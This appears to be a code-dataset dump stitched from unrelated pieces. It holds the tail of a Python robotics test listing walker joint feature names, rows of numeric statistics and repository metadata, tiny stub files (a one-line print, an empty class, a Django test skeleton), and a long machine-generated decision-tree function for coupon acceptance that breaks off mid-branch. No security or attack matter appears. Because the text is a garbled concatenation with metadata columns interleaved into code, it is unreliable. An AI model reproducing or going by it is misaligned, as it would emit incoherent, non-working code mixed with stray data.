'torso:cry',
'torso:crz',
'torso:ctx',
'torso:cty',
'torso:ctz',
'right_thigh:crx',
'right_thigh:cry',
'right_thigh:crz',
'right_thigh:ctx',
'right_thigh:cty',
'right_thigh:ctz',
'right_leg:crx',
'right_leg:cry',
'right_leg:crz',
'right_leg:ctx',
'right_leg:cty',
'right_leg:ctz',
'right_foot:crx',
'right_foot:cry',
'right_foot:crz',
'right_foot:ctx',
'right_foot:cty',
'right_foot:ctz',
'left_thigh:crx',
'left_thigh:cry',
'left_thigh:crz',
'left_thigh:ctx',
'left_thigh:cty',
'left_thigh:ctz',
'left_leg:crx',
'left_leg:cry',
'left_leg:crz',
'left_leg:ctx',
'left_leg:cty',
'left_leg:ctz',
'left_foot:crx',
'left_foot:cry',
'left_foot:crz',
'left_foot:ctx',
'left_foot:cty',
'left_foot:ctz',
]
env.close()
def test_exclude_walker():
env = BiskSingleRobotEnv('walker')
ftzr = JointsFeaturizer(
env.p, 'walker', 'robot', exclude='.*/(left|right)_foot'
)
assert ftzr.observation_space.shape == (48,)
assert ftzr().shape == ftzr.observation_space.shape
assert ftzr.feature_names() == [
'rootz:p',
'rootx:p',
'rooty:p',
'right_hip:p',
'right_knee:p',
'right_ankle:p',
'left_hip:p',
'left_knee:p',
'left_ankle:p',
'rootz:v',
'rootx:v',
'rooty:v',
'right_hip:v',
'right_knee:v',
'right_ankle:v',
'left_hip:v',
'left_knee:v',
'left_ankle:v',
'torso:crx',
'torso:cry',
'torso:crz',
'torso:ctx',
'torso:cty',
'torso:ctz',
'right_thigh:crx',
'right_thigh:cry',
'right_thigh:crz',
'right_thigh:ctx',
'right_thigh:cty',
'right_thigh:ctz',
'right_leg:crx',
'right_leg:cry',
'right_leg:crz',
'right_leg:ctx',
'right_leg:cty',
'right_leg:ctz',
'left_thigh:crx',
'left_thigh:cry',
'left_thigh:crz',
'left_thigh:ctx',
'left_thigh:cty',
'left_thigh:ctz',
'left_leg:crx',
'left_leg:cry',
'left_leg:crz',
'left_leg:ctx',
'left_leg:cty',
'left_leg:ctz',
]
env.close()
| 24.475524
| 65
| 0.519143
| 414
| 3,500
| 4.157005
| 0.164251
| 0.069727
| 0.046485
| 0.058106
| 0.739686
| 0.703661
| 0.703661
| 0.703661
| 0.703661
| 0.703661
| 0
| 0.003394
| 0.326571
| 3,500
| 142
| 66
| 24.647887
| 0.726771
| 0.046286
| 0
| 0.793893
| 0
| 0
| 0.39964
| 0
| 0
| 0
| 0
| 0
| 0.045802
| 1
| 0.015267
| false
| 0
| 0.038168
| 0
| 0.053435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
7fd3822584dfd83c5cee66e20ef0ecb4cb0b4b30
| 35
|
py
|
Python
|
test2.py
|
giodelarosa/LP
|
dbb7aad4fcc50cfd69ca15429be7ec3773570f4a
|
[
"Apache-2.0"
] | null | null | null |
test2.py
|
giodelarosa/LP
|
dbb7aad4fcc50cfd69ca15429be7ec3773570f4a
|
[
"Apache-2.0"
] | null | null | null |
test2.py
|
giodelarosa/LP
|
dbb7aad4fcc50cfd69ca15429be7ec3773570f4a
|
[
"Apache-2.0"
] | null | null | null |
print " this is a second commit"
| 8.75
| 32
| 0.685714
| 6
| 35
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.257143
| 35
| 3
| 33
| 11.666667
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0.727273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 6
|
7fe58b8777acb616f5737108260706473ddf9096
| 28
|
py
|
Python
|
github/methods/organizations/custom/__init__.py
|
appheap/PyGithub
|
2442a2512a708c6463f81d8398fd91090e134df1
|
[
"MIT"
] | 1
|
2022-03-16T21:33:37.000Z
|
2022-03-16T21:33:37.000Z
|
github/methods/organizations/custom/__init__.py
|
appheap/PyGithub
|
2442a2512a708c6463f81d8398fd91090e134df1
|
[
"MIT"
] | null | null | null |
github/methods/organizations/custom/__init__.py
|
appheap/PyGithub
|
2442a2512a708c6463f81d8398fd91090e134df1
|
[
"MIT"
] | 1
|
2022-03-16T21:28:06.000Z
|
2022-03-16T21:28:06.000Z
|
class Custom(
):
pass
| 4.666667
| 13
| 0.535714
| 3
| 28
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.357143
| 28
| 6
| 14
| 4.666667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0
| 0
| 0.333333
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 6
|
7fffd96445a477ba28988daba8ea74cc0667cc1a
| 187
|
py
|
Python
|
api/users/tests.py
|
flatcoke/komong
|
b7c4721795b36dc936cf9060aba97d693a33c5b8
|
[
"MIT"
] | 1
|
2019-07-31T07:18:07.000Z
|
2019-07-31T07:18:07.000Z
|
api/users/tests.py
|
flatcoke/komong
|
b7c4721795b36dc936cf9060aba97d693a33c5b8
|
[
"MIT"
] | null | null | null |
api/users/tests.py
|
flatcoke/komong
|
b7c4721795b36dc936cf9060aba97d693a33c5b8
|
[
"MIT"
] | 1
|
2019-04-10T05:03:35.000Z
|
2019-04-10T05:03:35.000Z
|
from rest_framework.test import APITestCase
from rest_framework import status
from .models import User
class UserTest(APITestCase):
def test_create_user_success(self):
pass
| 20.777778
| 43
| 0.791444
| 25
| 187
| 5.72
| 0.64
| 0.111888
| 0.237762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.165775
| 187
| 8
| 44
| 23.375
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.166667
| 0.5
| 0
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 6
|
3d42c277bb5dee2c1b3e4eae91eac7f0d262d3fd
| 87,586
|
py
|
Python
|
duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/10_features/maxdepth_5/4/rules.py
|
apcarrik/kaggle
|
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
|
[
"MIT"
] | null | null | null |
duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/10_features/maxdepth_5/4/rules.py
|
apcarrik/kaggle
|
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
|
[
"MIT"
] | null | null | null |
duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/10_features/maxdepth_5/4/rules.py
|
apcarrik/kaggle
|
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
|
[
"MIT"
] | null | null | null |
def findDecision(obj): #obj[0]: Passanger, obj[1]: Time, obj[2]: Coupon, obj[3]: Education, obj[4]: Occupation, obj[5]: Bar, obj[6]: Coffeehouse, obj[7]: Restaurant20to50, obj[8]: Direction_same, obj[9]: Distance
# {"feature": "Coupon", "instances": 8148, "metric_value": 0.4751, "depth": 1}
if obj[2]>1:
# {"feature": "Coffeehouse", "instances": 5867, "metric_value": 0.461, "depth": 2}
if obj[6]>0.0:
# {"feature": "Distance", "instances": 4415, "metric_value": 0.44, "depth": 3}
if obj[9]<=2:
# {"feature": "Passanger", "instances": 3980, "metric_value": 0.4296, "depth": 4}
if obj[0]<=2:
# {"feature": "Time", "instances": 2590, "metric_value": 0.4538, "depth": 5}
if obj[1]<=3:
# {"feature": "Bar", "instances": 2109, "metric_value": 0.4613, "depth": 6}
if obj[5]<=3.0:
# {"feature": "Direction_same", "instances": 2050, "metric_value": 0.4587, "depth": 7}
if obj[8]<=0:
# {"feature": "Occupation", "instances": 1153, "metric_value": 0.4716, "depth": 8}
if obj[4]>0:
# {"feature": "Restaurant20to50", "instances": 1144, "metric_value": 0.4729, "depth": 9}
if obj[7]<=3.0:
# {"feature": "Education", "instances": 1129, "metric_value": 0.4745, "depth": 10}
if obj[3]<=4:
return 'True'
elif obj[3]>4:
return 'True'
else: return 'True'
elif obj[7]>3.0:
# {"feature": "Education", "instances": 15, "metric_value": 0.2909, "depth": 10}
if obj[3]>0:
return 'True'
elif obj[3]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]<=0:
# {"feature": "Education", "instances": 9, "metric_value": 0.1111, "depth": 9}
if obj[3]<=0:
return 'True'
elif obj[3]>0:
# {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[7]<=1.0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[8]>0:
# {"feature": "Occupation", "instances": 897, "metric_value": 0.4395, "depth": 8}
if obj[4]>0:
# {"feature": "Restaurant20to50", "instances": 892, "metric_value": 0.4409, "depth": 9}
if obj[7]<=2.0:
# {"feature": "Education", "instances": 801, "metric_value": 0.4454, "depth": 10}
if obj[3]<=2:
return 'True'
elif obj[3]>2:
return 'True'
else: return 'True'
elif obj[7]>2.0:
# {"feature": "Education", "instances": 91, "metric_value": 0.3801, "depth": 10}
if obj[3]<=3:
return 'True'
elif obj[3]>3:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[5]>3.0:
# {"feature": "Occupation", "instances": 59, "metric_value": 0.4428, "depth": 7}
if obj[4]<=7:
# {"feature": "Education", "instances": 41, "metric_value": 0.4497, "depth": 8}
if obj[3]<=2:
# {"feature": "Restaurant20to50", "instances": 32, "metric_value": 0.3877, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 17, "metric_value": 0.2773, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'True'
else: return 'True'
elif obj[7]<=0.0:
# {"feature": "Direction_same", "instances": 15, "metric_value": 0.4786, "depth": 10}
if obj[8]>0:
return 'False'
elif obj[8]<=0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 9, "metric_value": 0.3333, "depth": 9}
if obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.5, "depth": 10}
if obj[7]<=4.0:
return 'False'
else: return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[4]>7:
# {"feature": "Restaurant20to50", "instances": 18, "metric_value": 0.2685, "depth": 8}
if obj[7]<=3.0:
# {"feature": "Education", "instances": 12, "metric_value": 0.1111, "depth": 9}
if obj[3]>0:
return 'False'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.0, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[7]>3.0:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.4, "depth": 9}
if obj[8]<=0:
# {"feature": "Education", "instances": 5, "metric_value": 0.4667, "depth": 10}
if obj[3]<=0:
return 'True'
elif obj[3]>0:
return 'False'
else: return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[1]>3:
# {"feature": "Education", "instances": 481, "metric_value": 0.4106, "depth": 6}
if obj[3]>0:
# {"feature": "Bar", "instances": 314, "metric_value": 0.4334, "depth": 7}
if obj[5]<=1.0:
# {"feature": "Occupation", "instances": 211, "metric_value": 0.407, "depth": 8}
if obj[4]<=13.096181893771217:
# {"feature": "Restaurant20to50", "instances": 178, "metric_value": 0.3918, "depth": 9}
if obj[7]<=2.0:
# {"feature": "Direction_same", "instances": 165, "metric_value": 0.4021, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]>2.0:
# {"feature": "Direction_same", "instances": 13, "metric_value": 0.2604, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>13.096181893771217:
# {"feature": "Restaurant20to50", "instances": 33, "metric_value": 0.4718, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 29, "metric_value": 0.4851, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]<=0.0:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[5]>1.0:
# {"feature": "Occupation", "instances": 103, "metric_value": 0.4649, "depth": 8}
if obj[4]<=19:
# {"feature": "Restaurant20to50", "instances": 101, "metric_value": 0.4709, "depth": 9}
if obj[7]<=3.0:
# {"feature": "Direction_same", "instances": 93, "metric_value": 0.4791, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]>3.0:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>19:
return 'False'
else: return 'False'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Bar", "instances": 167, "metric_value": 0.3508, "depth": 7}
if obj[5]<=2.0:
# {"feature": "Occupation", "instances": 150, "metric_value": 0.3215, "depth": 8}
if obj[4]>2:
# {"feature": "Restaurant20to50", "instances": 118, "metric_value": 0.281, "depth": 9}
if obj[7]<=2.0:
# {"feature": "Direction_same", "instances": 109, "metric_value": 0.2879, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]>2.0:
# {"feature": "Direction_same", "instances": 9, "metric_value": 0.1975, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]<=2:
# {"feature": "Restaurant20to50", "instances": 32, "metric_value": 0.4271, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 24, "metric_value": 0.4965, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]<=0.0:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.2188, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[5]>2.0:
# {"feature": "Occupation", "instances": 17, "metric_value": 0.3922, "depth": 8}
if obj[4]>4:
# {"feature": "Restaurant20to50", "instances": 15, "metric_value": 0.4074, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 9, "metric_value": 0.3457, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]<=4:
return 'False'
else: return 'False'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[0]>2:
# {"feature": "Bar", "instances": 1390, "metric_value": 0.3797, "depth": 5}
if obj[5]<=3.0:
# {"feature": "Education", "instances": 1328, "metric_value": 0.3739, "depth": 6}
if obj[3]<=3:
# {"feature": "Occupation", "instances": 1246, "metric_value": 0.3798, "depth": 7}
if obj[4]<=7.746388443017657:
# {"feature": "Restaurant20to50", "instances": 778, "metric_value": 0.361, "depth": 8}
if obj[7]<=1.0:
# {"feature": "Time", "instances": 521, "metric_value": 0.3817, "depth": 9}
if obj[1]<=3:
# {"feature": "Direction_same", "instances": 380, "metric_value": 0.3903, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]>3:
# {"feature": "Direction_same", "instances": 141, "metric_value": 0.3585, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Time", "instances": 257, "metric_value": 0.3099, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 203, "metric_value": 0.3558, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 54, "metric_value": 0.1372, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>7.746388443017657:
# {"feature": "Restaurant20to50", "instances": 468, "metric_value": 0.4073, "depth": 8}
if obj[7]>-1.0:
# {"feature": "Time", "instances": 464, "metric_value": 0.4104, "depth": 9}
if obj[1]<=3:
# {"feature": "Direction_same", "instances": 350, "metric_value": 0.4177, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]>3:
# {"feature": "Direction_same", "instances": 114, "metric_value": 0.3878, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[7]<=-1.0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[3]>3:
# {"feature": "Occupation", "instances": 82, "metric_value": 0.246, "depth": 7}
if obj[4]<=12:
# {"feature": "Restaurant20to50", "instances": 58, "metric_value": 0.3353, "depth": 8}
if obj[7]>0.0:
# {"feature": "Time", "instances": 45, "metric_value": 0.379, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 36, "metric_value": 0.4244, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 9, "metric_value": 0.1975, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[7]<=0.0:
# {"feature": "Time", "instances": 13, "metric_value": 0.1154, "depth": 9}
if obj[1]<=2:
return 'True'
elif obj[1]>2:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>12:
return 'True'
else: return 'True'
else: return 'True'
elif obj[5]>3.0:
# {"feature": "Occupation", "instances": 62, "metric_value": 0.437, "depth": 6}
if obj[4]<=12:
# {"feature": "Education", "instances": 47, "metric_value": 0.4186, "depth": 7}
if obj[3]>0:
# {"feature": "Restaurant20to50", "instances": 35, "metric_value": 0.4502, "depth": 8}
if obj[7]>0.0:
# {"feature": "Time", "instances": 33, "metric_value": 0.4703, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 25, "metric_value": 0.4608, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[7]<=0.0:
return 'True'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Time", "instances": 12, "metric_value": 0.2593, "depth": 8}
if obj[1]<=2:
# {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.3016, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 7, "metric_value": 0.2449, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]<=0.0:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[1]>2:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>12:
# {"feature": "Time", "instances": 15, "metric_value": 0.3333, "depth": 7}
if obj[1]>0:
# {"feature": "Education", "instances": 10, "metric_value": 0.4444, "depth": 8}
if obj[3]<=0:
# {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.4889, "depth": 9}
if obj[7]>1.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[3]>0:
return 'False'
else: return 'False'
elif obj[1]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
else: return 'True'
elif obj[9]>2:
# {"feature": "Passanger", "instances": 435, "metric_value": 0.485, "depth": 4}
if obj[0]>0:
# {"feature": "Education", "instances": 419, "metric_value": 0.484, "depth": 5}
if obj[3]>0:
# {"feature": "Time", "instances": 281, "metric_value": 0.4684, "depth": 6}
if obj[1]>0:
# {"feature": "Bar", "instances": 243, "metric_value": 0.485, "depth": 7}
if obj[5]>-1.0:
# {"feature": "Restaurant20to50", "instances": 240, "metric_value": 0.4876, "depth": 8}
if obj[7]<=2.0:
# {"feature": "Occupation", "instances": 217, "metric_value": 0.4907, "depth": 9}
if obj[4]>0:
# {"feature": "Direction_same", "instances": 215, "metric_value": 0.4952, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[4]<=0:
return 'False'
else: return 'False'
elif obj[7]>2.0:
# {"feature": "Occupation", "instances": 23, "metric_value": 0.3794, "depth": 9}
if obj[4]<=12:
# {"feature": "Direction_same", "instances": 22, "metric_value": 0.3967, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[4]>12:
return 'True'
else: return 'True'
else: return 'False'
elif obj[5]<=-1.0:
return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Occupation", "instances": 38, "metric_value": 0.3008, "depth": 7}
if obj[4]<=11:
# {"feature": "Bar", "instances": 28, "metric_value": 0.3869, "depth": 8}
if obj[5]<=1.0:
# {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.4167, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 15, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[7]<=0.0:
return 'True'
else: return 'True'
elif obj[5]>1.0:
# {"feature": "Restaurant20to50", "instances": 12, "metric_value": 0.2667, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.32, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[4]>11:
return 'False'
else: return 'False'
else: return 'False'
elif obj[3]<=0:
# {"feature": "Restaurant20to50", "instances": 138, "metric_value": 0.4841, "depth": 6}
if obj[7]<=3.0:
# {"feature": "Time", "instances": 136, "metric_value": 0.4842, "depth": 7}
if obj[1]>0:
# {"feature": "Occupation", "instances": 113, "metric_value": 0.4765, "depth": 8}
if obj[4]<=22:
# {"feature": "Bar", "instances": 112, "metric_value": 0.477, "depth": 9}
if obj[5]<=3.0:
# {"feature": "Direction_same", "instances": 107, "metric_value": 0.4769, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[5]>3.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[4]>22:
return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Occupation", "instances": 23, "metric_value": 0.4306, "depth": 8}
if obj[4]>1:
# {"feature": "Bar", "instances": 21, "metric_value": 0.4121, "depth": 9}
if obj[5]<=0.0:
# {"feature": "Direction_same", "instances": 11, "metric_value": 0.4959, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[5]>0.0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.32, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[4]<=1:
return 'True'
else: return 'True'
else: return 'False'
elif obj[7]>3.0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[0]<=0:
# {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.1786, "depth": 5}
if obj[7]<=1.0:
return 'True'
elif obj[7]>1.0:
# {"feature": "Bar", "instances": 7, "metric_value": 0.0, "depth": 6}
if obj[5]>1.0:
return 'True'
elif obj[5]<=1.0:
return 'False'
else: return 'False'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[6]<=0.0:
# {"feature": "Passanger", "instances": 1452, "metric_value": 0.4944, "depth": 3}
if obj[0]<=1:
# {"feature": "Distance", "instances": 925, "metric_value": 0.4846, "depth": 4}
if obj[9]<=1:
# {"feature": "Time", "instances": 498, "metric_value": 0.486, "depth": 5}
if obj[1]>0:
# {"feature": "Bar", "instances": 313, "metric_value": 0.473, "depth": 6}
if obj[5]<=0.0:
# {"feature": "Direction_same", "instances": 169, "metric_value": 0.4379, "depth": 7}
if obj[8]>0:
# {"feature": "Occupation", "instances": 94, "metric_value": 0.4613, "depth": 8}
if obj[4]>3:
# {"feature": "Education", "instances": 63, "metric_value": 0.4968, "depth": 9}
if obj[3]<=3:
# {"feature": "Restaurant20to50", "instances": 60, "metric_value": 0.4986, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'True'
else: return 'True'
elif obj[3]>3:
# {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[4]<=3:
# {"feature": "Restaurant20to50", "instances": 31, "metric_value": 0.3752, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Education", "instances": 24, "metric_value": 0.3964, "depth": 10}
if obj[3]<=1:
return 'True'
elif obj[3]>1:
return 'True'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Education", "instances": 7, "metric_value": 0.2143, "depth": 10}
if obj[3]<=0:
return 'True'
elif obj[3]>0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[8]<=0:
# {"feature": "Education", "instances": 75, "metric_value": 0.3407, "depth": 8}
if obj[3]>0:
# {"feature": "Restaurant20to50", "instances": 40, "metric_value": 0.2083, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Occupation", "instances": 30, "metric_value": 0.2711, "depth": 10}
if obj[4]<=6:
return 'True'
elif obj[4]>6:
return 'True'
else: return 'True'
elif obj[7]>1.0:
return 'True'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Occupation", "instances": 35, "metric_value": 0.4573, "depth": 9}
if obj[4]>4:
# {"feature": "Restaurant20to50", "instances": 22, "metric_value": 0.4052, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'True'
else: return 'True'
elif obj[4]<=4:
# {"feature": "Restaurant20to50", "instances": 13, "metric_value": 0.4615, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
else: return 'True'
elif obj[5]>0.0:
# {"feature": "Occupation", "instances": 144, "metric_value": 0.4721, "depth": 7}
if obj[4]<=20:
# {"feature": "Education", "instances": 136, "metric_value": 0.4907, "depth": 8}
if obj[3]>1:
# {"feature": "Direction_same", "instances": 92, "metric_value": 0.4865, "depth": 9}
if obj[8]>0:
# {"feature": "Restaurant20to50", "instances": 49, "metric_value": 0.4685, "depth": 10}
if obj[7]<=2.0:
return 'False'
elif obj[7]>2.0:
return 'False'
else: return 'False'
elif obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 43, "metric_value": 0.4857, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[3]<=1:
# {"feature": "Restaurant20to50", "instances": 44, "metric_value": 0.4568, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 31, "metric_value": 0.4578, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[7]>1.0:
# {"feature": "Direction_same", "instances": 13, "metric_value": 0.3192, "depth": 10}
if obj[8]>0:
return 'True'
elif obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>20:
return 'True'
else: return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Occupation", "instances": 185, "metric_value": 0.4726, "depth": 6}
if obj[4]<=7.951351351351351:
# {"feature": "Education", "instances": 114, "metric_value": 0.4532, "depth": 7}
if obj[3]<=3:
# {"feature": "Bar", "instances": 103, "metric_value": 0.4401, "depth": 8}
if obj[5]>-1.0:
# {"feature": "Direction_same", "instances": 102, "metric_value": 0.4422, "depth": 9}
if obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 61, "metric_value": 0.4554, "depth": 10}
if obj[7]>0.0:
return 'False'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
elif obj[8]>0:
# {"feature": "Restaurant20to50", "instances": 41, "metric_value": 0.4103, "depth": 10}
if obj[7]<=1.0:
return 'False'
elif obj[7]>1.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[5]<=-1.0:
return 'True'
else: return 'True'
elif obj[3]>3:
# {"feature": "Restaurant20to50", "instances": 11, "metric_value": 0.4545, "depth": 8}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.4762, "depth": 9}
if obj[8]<=0:
# {"feature": "Bar", "instances": 7, "metric_value": 0.4762, "depth": 10}
if obj[5]>0.0:
return 'True'
elif obj[5]<=0.0:
return 'True'
else: return 'True'
